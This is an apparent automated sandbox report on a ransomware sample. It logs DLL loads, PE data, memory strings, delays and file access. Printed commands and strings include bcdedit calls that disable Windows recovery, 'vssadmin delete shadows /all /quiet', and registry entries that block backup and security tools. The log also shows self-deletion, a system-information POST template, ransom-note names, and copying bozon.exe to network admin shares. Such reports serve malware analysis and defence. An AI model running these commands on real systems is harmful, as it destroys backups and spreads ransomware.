Source: C:\Users\user\Desktop\malware.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\vssadmin.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\vssadmin.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vss_ps.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: mrmcorer.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: efswrt.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: msvcp110_win.dll	Jump to behavior

Source: C:\Users\user\Desktop\malware.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: malware.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: malware.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: malware.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: malware.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: malware.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: malware.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: malware.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: malware.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: \\.\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: malware.exe, 00000000.00000003.2482024738.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2500906615.0000000004D49000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2502598406.0000000004D49000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2479874614.0000000004D49000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2508320820.0000000004D49000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.maloxmalox source: malware.exe, 00000000.00000003.2519245558.0000000004B2C000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2522348895.0000000004B2C000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2496475119.0000000004B2C000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2508586862.0000000004B2C000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2511621429.0000000004B2C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.maloxl\ source: malware.exe, 00000000.00000003.2517916860.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2524145663.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2503400133.0000000000DC0000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2502212669.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2520951632.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2500262981.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\FILE RECOVERY.txt1 source: malware.exe, 00000000.00000003.2482024738.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2479874614.0000000004D49000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 696334923056ntkrnlmp.pdbDD2-7850-423A-B1D8-7882CE1A6D15.logGN source: malware.exe, 00000000.00000003.2478408892.0000000004AB1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \\.\C:\Documents and Settings\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.malox source: malware.exe, 00000000.00000003.2517916860.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2524145663.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2503400133.0000000000DC0000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2502212669.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2520951632.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2500262981.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: malware.exe, 00000000.00000003.2479874614.0000000004D49000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2175625545.0000000004AB1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error.malox source: malware.exe, 00000000.00000003.2517916860.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2524145663.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2503400133.0000000000DC0000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2502212669.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2520951632.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2500262981.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: prcr.pdb source: prcr.x3d.0.dr
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\* source: malware.exe, 00000000.00000003.2191393645.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2189324109.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2185245833.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \\.\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\FILE RECOVERY.txtRY.txt-86F4-D3CB9162C2DEY.txttERY.txttxt.png-white.pngECOVERY.txtgY.txt.png source: malware.exe, 00000000.00000003.2186244420.0000000004A95000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\* source: malware.exe, 00000000.00000003.2268404890.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2208687986.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2287116859.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2223481419.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2200950278.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2245352369.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2224953867.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2241504225.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2215040679.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2243528894.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2289764990.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2228211754.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2175625545.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2250270754.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2185841452.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2238187504.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2216671107.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2247025349.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2195742049.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2269307894.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2206887797.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2191702343.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2261663956.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2254145279.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2176553456.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2281002480.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2203036218.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2265326633.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2242475973.0000000004AC9000.00000004.00000020.00020000.00000000.sdm
Source:	Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.maloxlox source: malware.exe, 00000000.00000003.2517916860.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2524145663.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2503400133.0000000000DC0000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2502212669.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2520951632.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2500262981.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\FILE RECOVERY.txt source: malware.exe, 00000000.00000003.2185527738.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2217917248.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2198750453.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2221909202.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2225220813.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2196899481.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \\.\C:\Documents and Settings\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\FILE RECOVERY.txta\FILE RECOVERY.txtA93746D24D97499F6005AF34C7906F717D420F892FD6D0txttxt source: malware.exe, 00000000.00000003.2486383254.0000000004A93000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \\.\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.malox source: malware.exe, 00000000.00000003.2519245558.0000000004B2C000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2496475119.0000000004B2C000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2508586862.0000000004B2C000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2511621429.0000000004B2C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mi_exe_stub.pdb source: wct3D66.tmp.0.dr
Source:	Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.malox source: malware.exe, 00000000.00000003.2517916860.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2524145663.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2503400133.0000000000DC0000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2502212669.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2520951632.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2500262981.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: #ntkrnlmp.pdb source: malware.exe, 00000000.00000003.2479874614.0000000004D49000.00000004.00000020.00020000.00000000.sdmp

Source: malware.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: malware.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: malware.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: malware.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: malware.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Persistence and Installation Behavior

Uses bcdedit to modify the Windows boot settings

Source: C:\Users\user\Desktop\malware.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
Source: C:\Users\user\Desktop\malware.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no
Source: C:\Users\user\Desktop\malware.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no	Jump to behavior

Source: malware.exe

Binary or memory string: 0.%d%duser=%s&TargetID=%s&SystemInformation=%s&max_size_of_file=%s&size_of_hdd=%dPOST%s|%s|%s|%d/c ping 127.0.0.1 && del "%s" >> NULSOFTWARE\RaccineSYSTEM\CurrentControlSet\Services\EventLog\Application\RaccineSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vssadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmic.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcdedit.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskshadow.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\net.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe-lr-d-p-path-queueC:\*C:\HOW TO RECOVER !!.TXT\sysnative\vssadmin.exe delete shadows /all /quietopenPowrProf.dllPowerSetActiveSchemeSeTakeOwnershipPrivilegeSeDebugPrivilegeNtQueryObjectntdll.dlluser32.dllShutdownBlockReasonCreatewindowDo NOT shutdown OR reboot your PC: this might damage your files permanently !valueSOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDownSOFTWARE\Microsoft\PolicyManager\default\Start\HideRestartSOFTWARE\Microsoft\PolicyManager\default\Start\HideSignOutshutdownwithoutlogonSOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemMaxConnectionTimeSOFTWARE\Policies\Microsoft\Windows NT\Terminal ServicesMaxDisconnectionTimeMaxIdleTimevector<T> too longstring too longmap/set<T> too longNtQuerySystemInformation\

Source: C:\Users\user\Desktop\malware.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\malware.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\malware.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Thread delayed: delay time: 1800000	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Thread delayed: delay time: 7200000	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Thread delayed: delay time: 18000000	Jump to behavior

Source: C:\Users\user\Desktop\malware.exe TID: 7024	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe TID: 7024	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe TID: 7024	Thread sleep time: -1800000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe TID: 7024	Thread sleep time: -3600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe TID: 7024	Thread sleep time: -7200000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe TID: 7024	Thread sleep time: -18000000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\malware.exe	File Volume queried: C:\Users\user\Desktop FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File Volume queried: \Device\CdRom0\ FullSizeInformation	Jump to behavior

Source: Settings.index0.0.dr	Binary or memory string: hyper-v
Source: malware.exe, 00000000.00000003.2046813837.0000000004AED000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1687616867.0000000004AF9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1780416429.0000000004AED000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1736160630.0000000004AED000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1744281507.0000000004AED000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1684403681.0000000004AF9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1959826564.0000000004AED000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2041675211.0000000004AED000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1754207883.0000000004AED000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1713388544.0000000004AED000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1678179924.0000000004AF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: malware.exe, 00000000.00000003.1685614425.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1785769862.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1813084478.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2247464482.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2182773970.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1753956972.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1796662055.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2234598919.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1677352666.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.1680940988.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2219665386.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\PT
Source: Settings.index0.0.dr	Binary or memory string: hyper-vOs and f

Source: C:\Users\user\Desktop\malware.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\notepad.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FILE RECOVERY.txt VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\malware.exe	File opened: \\224.0.0.22\admin$\bozon.exe	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: \\224.0.0.22\admin$\bozon.exe	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: \\224.0.0.22\c$\bozon.exe	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: \\224.0.0.22\c$\bozon.exe	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: \\192.168.2.1\admin$\bozon.exe	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: \\192.168.2.1\c$\bozon.exe	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: \\192.168.2.1\c$\bozon.exe	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: \\192.168.2.1\c$\bozon.exe	Jump to behavior

Source: C:\Users\user\Desktop\malware.exe	Directory queried: C:\Documents and Settings			Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Directory queried: C:\Documents and Settings			Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
